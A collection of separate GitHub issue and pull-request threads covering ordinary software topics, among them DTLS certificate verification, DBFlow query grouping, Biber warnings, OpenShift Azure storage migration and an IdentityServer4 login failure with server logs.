@donat Would you mind handling this PR as follow up to #706?

BTW: Did we ever receive a CLA from you? I couldn't find you in the list. If yes, what's the name you use?

@zosrothko Would you mind commenting on my question?

Yes, I signed the CLA. My name is Francis ANDRE and my surrogate is zosrothko

@zosrothko Thanks for the info, found you in the list.

Hi @zosrothko! I think deleting the recommendation is not the right way to go. You've made the Eclipse integration much better, but - unfortunately - there are still limitations compared to the IntelliJ. The documentation should describe the following items:

the production code now compiles in Eclipse
no proper support for the Groovy codebase
the one-classpath-per-project limitation
the recommendation is still on IntelliJ
I'll close this PR now, but feel free to open one.


Verify server and client certificates

Description:

Verify certificates using CAs Config.RootCAs, current time and an optional callback Config.VerifyPeerCertificate
Verification for server certificates is enabled by default and for client certificates based on Config.ClientAuth (VerifyClientCertIfGiven, RequireAndVerifyClientCert)
Verification can be disabled by Config.InsecureSkipVerify
Config parameters are inspired on crypto/tls

TODO: Verify server name

woohoo awesome work @igolaizola
I will look at this right after work, but feature wise it is a merge from me :)

@igolaizola ping me again when server name validation is good. happy to help in any way I can!
Thanks for grabbing this!

Codecov Report

Merging #81 into master will increase coverage by 0.27%.
The diff coverage is 73.68%.

@@            Coverage Diff             @@
##           master      #81      +/-   ##
==========================================
+ Coverage   70.56%   70.83%   +0.27%
==========================================
  Files          51       51
  Lines        2857     2894      +37
==========================================
+ Hits         2016     2050      +34
- Misses        600      602       +2
- Partials      241      242       +1

Impacted Files
Coverage Δ

conn.go
77.59% <100%> (+0.22%)
:arrow_up:

server_handlers.go
84.39% <62.06%> (+0.12%)
:arrow_up:

handshake_message_certificate.go
68% <81.81%> (+11.47%)
:arrow_up:

client_handlers.go
81.84% <85.71%> (+0.59%)
:arrow_up:

internal/udp/conn.go
75.45% <0%> (-1.82%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bcc3927...cff63fd. Read the comment docs.

@igolaizola ping me again when server name validation is good. happy to help in any way I can!

I've added ServerName validation.
In crypto/tls Config.ServerName is also used for SNI extension in the ClientHello, but the implementation of that feature should go in a different PR.

Important note about this PR: configurations that were working previously (selfsigned certs) may no longer work unless InsecureSkipVerify param is enabled. From a security point of view I think this breaking change is necessary.

I have a PR in mind to add a proper CHANGELOG, both to the repo and the release we tag, where we should mention these things.

ACK! As soon as this lands we can make a new tag and I can update pion/webrtc that is my big worry :)
Might be nice to look at godoc and reach out to users!

Good point. Took a look, it's pion/webrtc and go-ocf/coap. I know the OCF folks, they recently integrated pion/dtls at my request to support coaps over UDP. I don't think anyone is really using it yet or would be surprised by having to set InsecureSkipVerify but I'll raise the issue with them. Though even when using go-ocf/coap you're expected to pass in your own pion/dtls.Config.

Should we merge this, or wait until receive some feedback?

@igolaizola I am going to open a PR using your branch against pion/webrtc if that is green (will know in 10 mins) 👍 on merge from me!

@igolaizola created PR! Mind approving https://github.com/pion/webrtc/pull/757 ?
When that is green I will merge both PRs so we don't break master at all (and will bump version numbers!)
I am not going to do a new major version. If we do github.com/pion/dtls/v2 it will break a lot of people who don't use modules. I sort of regret doing it with pion/webrtc since tooling is still bad. They work great for us, but outside users really get hung up on it.
thanks!

Great work @igolaizola
You and @daenney have really taken DTLS to the next level recently, so great to see how good this project is getting.

@Sean-Der @daenney thanks for dealing with the affected projects.


Clear error messages

In reference to #80
There should be a way to clear errors with the ability to clear errors for a specific type(s).

[x] clearErrors()
[x] clearErrors(['presence', 'length'])

I was able to approach this in a much simpler way that doesnt require any change for this library. I created a demo app to illustrate this
https://github.com/offirgolan/clear-cp-demo
Feel free to clone, npm i && bower i then ember s to see it in action. The demo is based on the demo app of this library but with a reset functionality. To see the changes I made, you can look at this commit

I can't seem to find any connection between the "reset functionality" in the sample app (which overrides a component and is pretty contrived using didValidate) and why clearErrors or similar have not been implemented.
In a component I have a property called current which backs a form. It is a fragment, created via this.store.createFragment. When current is saved, it's sent up via an action. Until here validations work perfectly well. Then, current is then reset to a brand-new fragment.  When that happens all blank fields now show validation errors (presence).
I need a way to tell ember-cp-validations that the model/fragment is a new, untouched one. That it should not attempt to validate until the user tries to make a selection/change. So, how can I do that? Thanks!

I'm needing this as well. @offirgolan What is the current way to achieve this behaviour?


Fix missing method

Share method will be removed as of Laravel 5.4
https://github.com/laravel/framework/commit/1a1969b6e6f793c3b2a479362641487ee9cbf736#diff-52441e04e14c52275cd5d09e8f958981L300

I don't think this method is available in older Laravel versions.

@jenssegers Seems to be available since 4.0 at least
https://github.com/laravel/framework/blob/4.0/src/Illuminate/Container/Container.php

@jenssegers could you please tag a new release on github that includes this PR?
Composer won't pull this update unless I specify version "dev-master".


Provide option-6, not option-5, for DNS servers.

Signed-off-by: Mindy Preston<EMAIL_ADDRESS>

Fixes #52 .

Additional corrections to providing the subnet mask and providing the correct option for NTP servers.

This appears to be doing the right thing now; here's the tcpdump output from the final DHCPACK in a  lease transaction:
	    Magic Cookie 0x63825363
	    DHCP-Message Option 53, length 1: ACK
	    Lease-Time Option 51, length 4: 3599
	    RN Option 58, length 4: 1799
	    RB Option 59, length 4: 2879
	    Server-ID Option 54, length 4: <IP_ADDRESS>
	    Vendor-Class Option 60, length 12: "udhcp 1.24.2"
	    Subnet-Mask Option 1, length 4: <IP_ADDRESS>
	    Default-Gateway Option 3, length 4: <IP_ADDRESS>
	    Domain-Name-Server Option 6, length 4: <IP_ADDRESS>
	    Domain-Name Option 15, length 5: "local"
	    BR Option 28, length 4: <IP_ADDRESS>
	    NTP Option 42, length 4: <IP_ADDRESS>


Add No Qualifying Element

Rule no-qualifying-elements will enforce that selectors are not allowed to have qualifying elements.
There are three options to allow qualifying elements for class, attributes, and/or ids.
Warning messages are:

Qualifying element not allowed for attribute

Qualifying element not allowed for class

Qualifying element not allowed for id

Closes #30
DCO 1.1 Signed-off-by: Ben Griffith<EMAIL_ADDRESS>

Currently blocked by dependence on #159

Updated - no longer blocked.

Improved the warning message all round.

:+1:


User input

let the users know what input can be used in the daily daily reminders which is mentioned in the response (both for affirmative and the negative)

id like to take this up

@z404 sure i am assigning it to you

hi @mogiiee would you like the bot to tell the user what the valid inputs are at every reminder, or only if they enter something that the bot couldn't understand?

only when the bot does not understand sounds better @z404


asconfigc doesn't work when trying to build on Mac OSX

Hello,
I followed the steps to try to compile a simple AS3 script.
I installed asconfigc on the terminal with npm install -g asconfigc and it seemed to install properly.
I have the flex sdk installed too. But when I try Run Build Task..., then I get a code 1 error specifying that asconfigc can not be executed.
In the terminal, when I input asconfigc, I get the following error:
-bash: asconfigc: command not found
What can I do?
Thank you!

Something seems to be wrong with your installation of Node or npm. You could try reinstalling Node. Make sure it's at least Node 6, which is the latest LTS release.
If bash/Terminal can't find asconfigc when you install with npm install -g asconfigc, then the directory where npm installs its executables must be missing from the PATH environment variable, for some reason. I don't know what would cause it to be removed (or never added in the first place). This issue will affect anything that you try to install globally with npm in the future, though, so it's not specific to asconfigc.

Were you able to get it figured out?

Yep, I just reinstalled npm, actually I didn't run it in root mode. I am not a mac expert, I am just figuring out how it works. Thanks!

Great!


[[FIX]] Correct interpretation of whitespace

@rwaldron I've been working on the v2.10.0 branch, and it took me quite some time to figure out what was going wrong here (I only recently upgraded my development machine to Node.js version 8.)

Coverage increased (+0.0003%) to 98.743% when pulling a16bf60503686a4e315285985b91176fb6b693de on jugglinmike:whitespace-fix into a11d6310c5448304d56be081dc02b4c2a1ff7377 on jshint:master.

LGTM
However, Travis is failing for the same reason: https://github.com/jshint/jshint/pull/3209#issuecomment-344379838

@rwaldron Since you merged gh-3215, I re-started the build, and everything is green. Hooray!

Excellent, again!

Thanks, again!


Move switch from lab to core

Highest bucket of components needed by partnership
### Tasks
- [ ] Add all densities and modes to Chromatic
- [ ] Move code, stories, tests
- [ ] Move site docs, remove 🚧, "in progress"
- [ ] Fix all linting issue

Extending target date to next week, switch has a few more visual regressions need to be fixed

25 Oct - Depedency Mosaic switch core

done in #2629


Multiple conditions issue

I`m trying to make a query something like this:
SELECT * FROM 'PersonnelTable' WHERE country LIKE '%UAE%' AND region LIKE '%Abu-dabi%' AND (lastName LIKE '%ha%' OR firstName LIKE '%ha%')
Here is how I`m trying:
ConditionGroup conditionGroup = ConditionGroup.clause();
conditionGroup.and(Condition.column(new NameAlias("country")).like("%"+ countryName +"%"));
conditionGroup.and(Condition.column(new NameAlias("region")).like("%"+ regionName +"%"));
conditionGroup.and(Condition.column(new NameAlias("firstName")).like("%"+ firstName +"%"));
conditionGroup.or(Condition.column(new NameAlias("lastName")).like("%"+ lastName +"%"));

SQLite.select().from(PersonnelTable.class)
            .where(conditionGroup)
            .queryList();

But the problem is I cannot understand how to put brackets to condition and now my query looks like:
SELECT * FROM 'PersonnelTable' WHERE country LIKE '%UAE%' AND region LIKE '%Abu-dabi%' AND lastName LIKE '%ha%' OR firstName LIKE '%ha%'
without any brackets.

@maestr0ua Create a separate condition group for the name conditions and pass it as a second parameter in the where clause.

ConditionGroup conditionGroup = ConditionGroup.clause()
      .and(Condition.column(new NameAlias("country")).like("%"+ countryName +"%"))
      .and(Condition.column(new NameAlias("region")).like("%"+ regionName +"%"))
      .and(ConditionGroup.clause().
            .and(Condition.column(new NameAlias("firstName")).like("%"+ firstName +"%"))
           .or(Condition.column(new NameAlias("lastName")).like("%"+ lastName +"%"));

SQLite.select().from(PersonnelTable.class)
            .where(conditionGroup)
            .queryList();

Also id strongly recommend you use the generated Property fields in the _Table classes.

Thank you for your answer, but now I`m getting error at query execution.
  ConditionGroup conditionGroup = ConditionGroup.clause()
                .and(LocationTable_Table.type.eq(Constants.COUNTRY))
                .and(ConditionGroup.clause()
                        .and(LocationTable_Table._id.eq(ids.get(0)))
                        .or(LocationTable_Table._id.eq(ids.get(1))));

       SQLite.select().from(LocationTable.class)
                .where(conditionGroup)
                .queryList()

android.database.sqlite.SQLiteException, cause - null, message - near "AND": syntax error (code 1): , while compiling: SELECT * FROM LocationTable WHERE type='country' AND _id='572b60d432f3d0985041994c' OR _id='572b60d432f3d0985041994d' AND
Somehow in the end of ther query shows up operator AND

Experienced the same issue in 3.0.0-beta5 (trailing AND when constructing a query like in this example).  Refactoring out the highest level ConditionGroup solves it for me.
SQLIte.select().from(...)
    .where(...)
    .and(ConditionGroup.clause()
        .or(...)
        .or(...)
    )

ConditionGroup not available in 4.2.4, what`s the equivalent for this?

it change to OperatorGroup @raphaelbgr DBFlow 4.0 Migration guide


Star rating still allows 0 rating

The "-" allows the user to remove their answers from the rating.
Consider placing the likert scale ("Neutral, Good, Very Good etc.) under the stars for less clamped space.

Fixed, Please Check

Problem has bee fixed.


congrats!

Awesome work, @lsegal! :metal:
I just wanted to let you know that the cucumber team is working on a new gherkin parser, that is generated from a grammar specification for various languages, including go-lang). It's quiet impressive how simple your parser is compared the ones I've written... :-D
You might find it useful to use our parser which looks like it's more compliant and feature complete. Anyway, I also like your implementation a lot :-)
Best, Mathias
/cc @aslakhellesoy @nightlyone

Thanks @muhqu, I'll take a look at the parser to see if we can use it!

I haven't looked at gucumber yet, but I'd love to have an official Cucumber for go impl as part of the Cucumber family. If it's written by @lsegal that can't be a bad thing!

well, haven't found the project before implementing https://github.com/DATA-DOG/godog which uses the gherkin3 parser. maybe we could share some better impl details to improve the projects.


OCPBUGS-29003: move azure storage blobs from docker back into /docker

This undoes the effects caused by bug OCPBUGS-29003.
It needs to land in tandem with https://github.com/openshift/image-registry/pull/392.

Testing
On a 4.13.z cluster, push a few images to the internal registry.
(Optional) Start some deployments from the pushed images.
Upgrade to 4.14.z (NOTE! use a 4.14.z that does not contain the bug fix).
Pulling will no longer work for images pushed on 4.13.z.
Push new images. To test more parts of the code, ensure that you push both images that were not pushed to 4.13.z as well as SOME images that were already pushed to 4.13.z (NOTE! make sure you still have images pushed to 4.13.z that cannot be pulled at this point).
Update the cluster to a 4.14.z version that contains the fix. I think if you use ClusterBot to create a release build, then you can upgrade to that build using oc adm upgrade --to-image= (but I have not tried this).
While the migration job is running, the operator will change to "Progressing: true". Once the migration job successfully finishes running, the operator should become available again.
Test the above steps, but using with a cluster wide proxy.
If you know other configurations for the registry that could affect the migration pod job, test them too.
Test deploying a cluster containing the fix to a different cloud. The migration job azure-path-fix should not be created and the operator should become available as it normally would.

azure tests are failing due to:
AzurePathFixControllerDegraded: Migration failed: /bin/sh: line 1: /usr/bin/move-blobs: No such file or directory

I got this error during my tests and the reason was that the image used by the controller to launch the job container was not the same as the image I had built. I need to investigate and see if the same is happening on the job.

I don't know why yet, but the image used by the job pod is (and it's fetched from an env var IMAGE):
registry.build05.ci.openshift.org/ci-op-w54twd3x/stable@sha256:ee79443ab0a07572145d49943a1d5c594cf33af3f9e4470397a7611a4784f54b

but the image used by the operator pod is:
registry.build05.ci.openshift.org/ci-op-w54twd3x/stable@sha256:a33923b7600aa3f970c05293a54ad0ff8956b2bef92982cb8204422fa38e4633

we want them to match.

Looks like the IMAGE env var is the image-registry image. I'm looking into the best way to use the operator image for the job instead.

/hold cancel

/cherry-pick release-4.15

/lgtm

/hold cancel

/retest
/hold cancel

/hold cancel


Use of uninitialized value $outtype in concatenation (.) or string at /tmp/par-6d726f7571756574/cache-73875c85d5252053a8a851d78c9322facb9c2224/inc/lib/Biber/Output/bbl.pm line 221

Hi,
with biber 2.14 and biblatex 3.14, I get many line of "Use of uninitialized value $outtype in concatenation (.) or string at /tmp/par-6d726f7571756574/cache-73875c85d5252053a8a851d78c9322facb9c2224/inc/lib/Biber/Output/bbl.pm line 221"
Enclosed, you will find the .bib and .bcf
biber.zip

I believe this is already address in 2.15 dev version - I get no such lines with 2.15 and your test files.

I can reproduce the issue with Biber 2.14, but the problem does not occur when I run the example with Biber 2.15.
@maieul Please note that it is extremely inconvenient to provide only a .bcf and .bib file for testing. Especially the fact that the .bcf cited every single entry from the .bib file explicitly was a pain: It made the .bcf file very large (about half a megabyte), so that Biber takes a long time to process it (@plk any chance for performance enhancements when reading the .bcf?) and it makes a binary search in the .bib file a pain because removing entries causes "entry not found warnings" that drown out the rest.
https://gist.github.com/moewew/3b0a1acdef6028e65059ef7c7e16f72c weighs only 300 kB because it uses \nocite. With that file we can reduce the .bib file to
@Bookininbook{BHG226_Lippomani1564t1,
  author        = {{Alexander Monachus}},
  title         = {Laudatio in apostolum Barnabam},
  crossref      = {Lippomani1564t1},
  date-added    = {2017-06-06 15:43:35 +0000},
  date-modified = {2017-06-06 15:45:14 +0000},
  pages         = {423-432 \mkbibparens{noté 423 par erreur}},
}

@Book{Lippomani1564t1,
  author        = {Loysius Lippomanus},
  title         = {Historiae de vitis sanctorum},
  date          = {1564},
  publisher     = {Martinus Verhaffelt},
  location      = {Louvain},
  volume        = {1},
}

My guess is that the problem has to do with case folding of new entry types from the data model (@Bookininbook).
It would be easier to properly investigate this with a LaTeX MWE (i.e. a TeX file and a .dbx file). Because then we can have a look at the human-readable form of the data model, not the more verbose XML version in the .bcf.

@moewew ok, noted. But for me it was difficult to produce a MWE, as this
problem occurs with my full Phd thesis, and as I didn't get any
information about which entries cause the problem.

@maieul Oh, I fully appreciate that it is quite some work to dig through 24000 lines of the .bib  file to identify a problematic entry and I know that you are well aware how important an MWE is to investigating problems like this.
The point I wanted to make is that a .bcf file is not only an unusual but in this case also very inconvenient way to provide an example. A short document along the lines of
\documentclass[french]{article}
\usepackage[T1]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage{babel}
\usepackage{csquotes}

\begin{filecontents}[force]{maieul.dbx}
% data model goes here
\end{filecontents}

\usepackage[style=authoryear, backend=biber, datamodel=maieul]{biblatex}

\addbibresource{biblio.bib}

\begin{document}
\nocite{*}
\end{document}

would have been much more convenient. And it is not much harder to provide such an MWE and verify that it reproduces the issue. I would even argue that it is harder to produce a .bcf that cites every single .bib entry explicitly than one from just \nocite{*} (at least if you do it manually).
Even if you don't know which entry is the problem, you can still try and find out with a binary search: Just remove half of the file and check if the issue persists. Of course in this case you may remove crossrefs and you must hope that they are not involved and ignore the warnings caused by missing crossrefs, but that is a risk I think one should take when trying to minimise the issue. In the worst case this procedure needs about 30 steps ($2 \log_2 24000$) compilation steps. But usually you are much quicker (if you are lucky you don't need the factor 2). That took me about 45 minutes last night. But it would have been quicker with a .tex document or a .bcf that didn't list every key explicitly.

I would still be interested in a TeX and .dbx file to investigate the issue further. You can use the .bib file I posted above.


feat: a script to transcode ads using Encore pipeline in OSC

For example:
scripts/transcode.sh https://testcontent.eyevinn.technology/ads/probably-the-best-10s.mp4

I just installed a spell check on VSCode. Hope this kind of spelling issue should not happen anymore.


use modern Buffer methods

Similar to https://github.com/dominictarr/sodium-chloride/pull/2
This requires Node.js 5.10 or higher, but that's probably totally okay since the lowest LTS right now is Node.js 10.

Other possible reviewers: @austinfrey :)

Other possible reviewers: @austinfrey :)

Works for me, thanks @mixmix

Works for me, thanks @mixmix


Command Line Parameters

add input file as a second command line parameter to support running on iOS.
sys.argv[2] would be ok.
typed parameters even better

Closing as duplicate of Issue 8.


Wifi-886 : Channels field in radio state table populated

Wifi-886 : Channels field in radio state table populated
Signed-off-by: Ammad Rehmat<EMAIL_ADDRESS>

the patch does not follow expected bracketing style and has whitespace errors.

the patch does not follow expected bracketing style and has whitespace errors.

fixed, please review and merge


ScoreExplanation.subtract(ScoreExplanation)

When having a solved schedule, the user sometimes wants to make a manual change and the UI needs to clearly show the score impact of that manual change. The score delta basically.
For example, in school timetabling:

we have a schedule with a score of 0hard/-2000soft in the UI.
ScoreExplenation before = SolutionManager.explain(...)
Lesson Math and French are swapped (not with a move, just directly in the solution)
ScoreExplenation after = SolutionManager.explain(...)
What is the score delta and justification delta between before and after?
diff = before.substract(after)

This would be reusable in the FULL_ASSERT score corruption analysis too.

After many cycles of refinement, this became ScoreAnalysis.diff(ScoreAnalysis), where ScoreAnalysis is retrieved by a new method, SolutionManager.analyze(...).


Consider listing out allowed regions in readme

Saw the allowed regions in main.bicep, for azd, it may be good to list the allowed regions out in the readme. The first time I tried deploying this template using azd, deployment failed.

The allowed regions were reduced to the ones allowed when deploying ACA from the portal to ensure that the service is available at the region specified.
Having said that there's a chance of the deployment failing because of other reasons like capacity issues or because the rest of the services (MariaDB) might not be available in the selected region.
So, it is difficult to document out in which region the deployment will eventually succeed.

@jongio, I don't think azd is currently restricting the region based on what's in Bicep. Perhaps a feature we should support in azd? Thoughts?

It sort of does by respecting (throwing an error), the main bicep allowed values attribute of the location parameter.

I just tried and hit this error:

ERROR: deployment failed: error deploying infrastructure: failed deploying: deploying to subscription:

Deployment Error Details:
InvalidTemplateDeployment: The template deployment 'jumphost-deployment' is not valid according to the validation procedure. The tracking id is '66de4801-dd0f-45b9-abcd-b5bcb557112a'. See inner errors for details.
SkuNotAvailable: The requested VM size for resource 'Following SKUs have failed for Capacity Restrictions: Standard_F4s_v2' is currently not available in location 'westus'. Please try another size or deploy to a different location or different zone. See https://aka.ms/azureskunotavailable for details.

Unfortunately, that's because of regional Capacity Restrictions.
To resolve this issue, you will either have to:

Change the jumphost sku at modules/jumphost.bicep
Deploy without a jumphost by setting a param at main.parameters.json   "deployJumpHost": {
      "value": false
    }

Deploy to a different region where there are no capacity issues


⚠ Young Discoverers has degraded performance

In dfd7227, Young Discoverers (https://youngdiscoverers.org.au) experienced degraded performance:

HTTP code: 200
Response time: 5861 ms

Resolved: Young Discoverers performance has improved in c7a478d.


Possibility to configure registry-mirrors and insecure-registries

It's needed for possibility to cache images for all registries
(sadly docker ignores insecure flag for registry-1.docker.io therefore separate registry mirror is required)
Best tested with: https://github.com/pigmej/docker-cache-all
Then you need to set env variables:
DIND_INSECURE_REGISTRIES="[\"<IP_ADDRESS>/0\"]"
DIND_REGISTRY_MIRROR="http://{YOUR_HOST_IP}:5000
DIND_HTTP_PROXY=http://{YOUR_HOST_IP:3128

then use dind normally

Thanks!

What does it mean "YOUR_HOST_IP"? Private IP or external IP ?

@abdennour it's basically any IP of the host where you run k-d-c. You could set it to docker network ip assigned to your host. (docker0 iface if I recall correctly)


feat: impl Storable for Option<T: Storable>

@witter-deland Thanks for your contribution! I believe you need to merge the latest main into this PR for it to be merge-able.


Weird display artifact in the tab strip

Steps to reproduce:
1. `atom --safe`
2. Open a folder
3. Open a file
4. Open Settings (doesn't look like I can reproduce this using a normal file)
5. Close one of the two files (aka not Settings)
6. Notice that there's a weird artifact left where the Settings tab was (before you closed the file)
Can be fixed simply by switching or closing a tab (including Settings).
Atom 0.150.0, Windows 7 x64.  This has been happening since way back, but I just got around to testing it in safe mode.
Two files open:

File closed:

I could reproduce this on 0.165 on Windows 7 x64 sp1, in safe mode, but only with the UI Theme = Atom Light. With the Atom Dark UI Theme there was no tab strip remnant.

I think I also got this again on Ubuntu a few days back.

This is seems to be fixed on Windows with Atom 0.169

@50Wliu are you ok with me closing this since it seems to be fixed for Windows? We can always reopen it if you get a repro for Linux.

Seems fine to me.  I haven't been on Windows for a while (after nearly breaking it), so I'll assume that @jimgraham's right.


IdentityServer4 (v4.0.4) not working in .Net Core SDK 3.1.400

Question
Using .Net Core SDK 3.1.400, IdentityServer4 doesn't work. Everything was Ok before.
Updating IdentityServer4.AspNetIdentity to 4.0.4 from 3.1.2 and remove PublicOrigin from AddIdentityServer() and having ForwardedHeadersOptions still no luck.
The WebApp redirects to the AuthApp and landing on an error page.
Trying to view authorized pages in the AuthApp and they redirect back to the log-in page.
Removing all codes of IdentityServer4, the AuthApp works fine and we can view its authorized pages after log-in.
Setting UsePkce to false, in both sides, correctly redirects back but it is not authenticated.
We are in the development environment without https.
Does this have anything to do with Chrome's new update and cookies?
Any opinions?
Please, Let me know if you need any more information.
Relevant parts of the log file
Log for coming from the store app to the auth:
info: Microsoft.AspNetCore.Hosting.Diagnostics[1]
      Request starting HTTP/1.0 GET http://auth.example.com/connect/authorize?client_id=Store&redirect_uri=http%3A%2F%2Fstore.example.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=637329387441358850.ZWFjNWNkYTYtOTg1OS00NWIxLTg2N2YtZDA5YzA0OWMxOWEzOTUwNjc3ZWUtZGZhYS00ZmIwLTk4NTUtMTBmMTEwZGJhNjIy&state=CfDJ8OgUPQiT715MpNEeoS9Lpl9K6tRlzVJsxu5Ka4DQtD7iSjzseszqPatGWfAVmnuPTjrOoLyuKnX1UIBiEu43G7hm--E5Ph-xsnomzAdXjRNf3kY26_u-_qhuanZnJpQpNHUIVD5swfqWA9dF6Z2XDgpIN3xj4jhlSCvKhCChat5_fwDrtoWO0ski6TgwW88bvswTn77gW2mG4Xti3dwUYgKZj2FbKywvGH-or6qrtwenVUN6JeiTi5nJ0qILB06r_rmqfwFqfvXsjxXGPqZvKf_srHLAwSqz8onpxH7WzvfUp5QX-FpyDzAEsC-d0KLhHQ&x-client-SKU=ID_NETSTANDARD2_0&x-client-ver=<IP_ADDRESS>
info: Microsoft.AspNetCore.ResponseCaching.ResponseCachingMiddleware[24]
      No cached response available for this request.
info: IdentityServer4.Hosting.IdentityServerMiddleware[0]
      Invoking IdentityServer endpoint: IdentityServer4.Endpoints.AuthorizeEndpoint for /connect/authorize
fail: IdentityServer4.Validation.AuthorizeRequestValidator[0]
      code_challenge is missing
{
        "ClientId": "Store",
        "ClientName": "Web Store",
        "RedirectUri": "http://store.example.com/signin-oidc",
        "AllowedRedirectUris": [
          "http://store.example.com/signin-oidc"
        ],
        "SubjectId": "anonymous",
        "ResponseType": "code id_token",
        "ResponseMode": "fragment",
        "GrantType": "hybrid",
        "RequestedScopes": "",
        "State": "CfDJ8OgUPQiT715MpNEeoS9Lpl9K6tRlzVJsxu5Ka4DQtD7iSjzseszqPatGWfAVmnuPTjrOoLyuKnX1UIBiEu43G7hm--E5Ph-xsnomzAdXjRNf3kY26_u-_qhuanZnJpQpNHUIVD5swfqWA9dF6Z2XDgpIN3xj4jhlSCvKhCChat5_fwDrtoWO0ski6TgwW88bvswTn77gW2mG4Xti3dwUYgKZj2FbKywvGH-or6qrtwenVUN6JeiTi5nJ0qILB06r_rmqfwFqfvXsjxXGPqZvKf_srHLAwSqz8onpxH7WzvfUp5QX-FpyDzAEsC-d0KLhHQ",
        "PromptMode": "",
        "Raw": {
          "client_id": "Store",
          "redirect_uri": "http://store.example.com/signin-oidc",
          "response_type": "code id_token",
          "scope": "openid profile offline_access",
          "response_mode": "form_post",
          "nonce": "637329387441358850.ZWFjNWNkYTYtOTg1OS00NWIxLTg2N2YtZDA5YzA0OWMxOWEzOTUwNjc3ZWUtZGZhYS00ZmIwLTk4NTUtMTBmMTEwZGJhNjIy",
          "state": "CfDJ8OgUPQiT715MpNEeoS9Lpl9K6tRlzVJsxu5Ka4DQtD7iSjzseszqPatGWfAVmnuPTjrOoLyuKnX1UIBiEu43G7hm--E5Ph-xsnomzAdXjRNf3kY26_u-_qhuanZnJpQpNHUIVD5swfqWA9dF6Z2XDgpIN3xj4jhlSCvKhCChat5_fwDrtoWO0ski6TgwW88bvswTn77gW2mG4Xti3dwUYgKZj2FbKywvGH-or6qrtwenVUN6JeiTi5nJ0qILB06r_rmqfwFqfvXsjxXGPqZvKf_srHLAwSqz8onpxH7WzvfUp5QX-FpyDzAEsC-d0KLhHQ",
          "x-client-SKU": "ID_NETSTANDARD2_0",
          "x-client-ver": "<IP_ADDRESS>"
        }
      }
fail: IdentityServer4.Endpoints.AuthorizeEndpoint[0]
      Request validation failed
info: IdentityServer4.Endpoints.AuthorizeEndpoint[0]
      {
        "ClientId": "Store",
        "ClientName": "Web Store",
        "RedirectUri": "http://store.example.com/signin-oidc",
        "AllowedRedirectUris": [
          "http://store.example.com/signin-oidc"
        ],
        "SubjectId": "anonymous",
        "ResponseType": "code id_token",
        "ResponseMode": "fragment",
        "GrantType": "hybrid",
        "RequestedScopes": "",
        "State": "CfDJ8OgUPQiT715MpNEeoS9Lpl9K6tRlzVJsxu5Ka4DQtD7iSjzseszqPatGWfAVmnuPTjrOoLyuKnX1UIBiEu43G7hm--E5Ph-xsnomzAdXjRNf3kY26_u-_qhuanZnJpQpNHUIVD5swfqWA9dF6Z2XDgpIN3xj4jhlSCvKhCChat5_fwDrtoWO0ski6TgwW88bvswTn77gW2mG4Xti3dwUYgKZj2FbKywvGH-or6qrtwenVUN6JeiTi5nJ0qILB06r_rmqfwFqfvXsjxXGPqZvKf_srHLAwSqz8onpxH7WzvfUp5QX-FpyDzAEsC-d0KLhHQ",
        "PromptMode": "",
        "Raw": {
          "client_id": "Store",
          "redirect_uri": "http://store.example.com/signin-oidc",
          "response_type": "code id_token",
          "scope": "openid profile offline_access",
          "response_mode": "form_post",
          "nonce": "637329387441358850.ZWFjNWNkYTYtOTg1OS00NWIxLTg2N2YtZDA5YzA0OWMxOWEzOTUwNjc3ZWUtZGZhYS00ZmIwLTk4NTUtMTBmMTEwZGJhNjIy",
          "state": "CfDJ8OgUPQiT715MpNEeoS9Lpl9K6tRlzVJsxu5Ka4DQtD7iSjzseszqPatGWfAVmnuPTjrOoLyuKnX1UIBiEu43G7hm--E5Ph-xsnomzAdXjRNf3kY26_u-_qhuanZnJpQpNHUIVD5swfqWA9dF6Z2XDgpIN3xj4jhlSCvKhCChat5_fwDrtoWO0ski6TgwW88bvswTn77gW2mG4Xti3dwUYgKZj2FbKywvGH-or6qrtwenVUN6JeiTi5nJ0qILB06r_rmqfwFqfvXsjxXGPqZvKf_srHLAwSqz8onpxH7WzvfUp5QX-FpyDzAEsC-d0KLhHQ",
          "x-client-SKU": "ID_NETSTANDARD2_0",
          "x-client-ver": "<IP_ADDRESS>"
        }
      }

Log for trying to visit an authorized page of the auth app:
info: Microsoft.AspNetCore.Hosting.Diagnostics[1]
      Request starting HTTP/1.0 POST http://auth.Example.com/Account/Login?returnurl=%2FManage%2FSendVerificationEmail application/x-www-form-urlencoded 254
info: Microsoft.AspNetCore.Cors.Infrastructure.CorsMiddleware[10]
      No CORS policy found for the specified request.
info: Microsoft.AspNetCore.Routing.EndpointMiddleware[0]
      Executing endpoint 'Example.Web.Auth.Controllers.AccountController.Login (Example.Web.Auth)'
info: Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker[3]
      Route matched with {action = "Login", controller = "Account"}. Executing controller action with signature System.Threading.Tasks.Task`1[Microsoft.AspNetCore.Mvc.IActionResult] Login(Example.Web.Auth.Models.AccountViewModels.LoginViewModel, System.String) on controller Example.Web.Auth.Controllers.AccountController (Example.Web.Auth).
info: Microsoft.AspNetCore.Authentication.Cookies.CookieAuthenticationHandler[10]
      AuthenticationScheme: Identity.Application signed in.
info: Example.Web.Auth.Controllers.AccountController[0]
      User logged in.
info: Microsoft.AspNetCore.Mvc.Infrastructure.RedirectResultExecutor[1]
      Executing RedirectResult, redirecting to /Manage/SendVerificationEmail.
info: Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker[2]
      Executed action Example.Web.Auth.Controllers.AccountController.Login (Example.Web.Auth) in 2002.9264ms
info: Microsoft.AspNetCore.Routing.EndpointMiddleware[1]
      Executed endpoint 'Example.Web.Auth.Controllers.AccountController.Login (Example.Web.Auth)'
info: Microsoft.AspNetCore.Hosting.Diagnostics[2]
      Request finished in 2055.9681ms 302
info: Microsoft.AspNetCore.Hosting.Diagnostics[1]
      Request starting HTTP/1.0 GET http://auth.Example.com/Manage/SendVerificationEmail
info: Microsoft.AspNetCore.ResponseCaching.ResponseCachingMiddleware[24]
      No cached response available for this request.
info: Microsoft.AspNetCore.Authorization.DefaultAuthorizationService[2]
      Authorization failed.
info: Microsoft.AspNetCore.Authentication.Cookies.CookieAuthenticationHandler[12]
      AuthenticationScheme: Identity.Application was challenged.
info: Microsoft.AspNetCore.ResponseCaching.ResponseCachingMiddleware[27]
      The response could not be cached for this request.
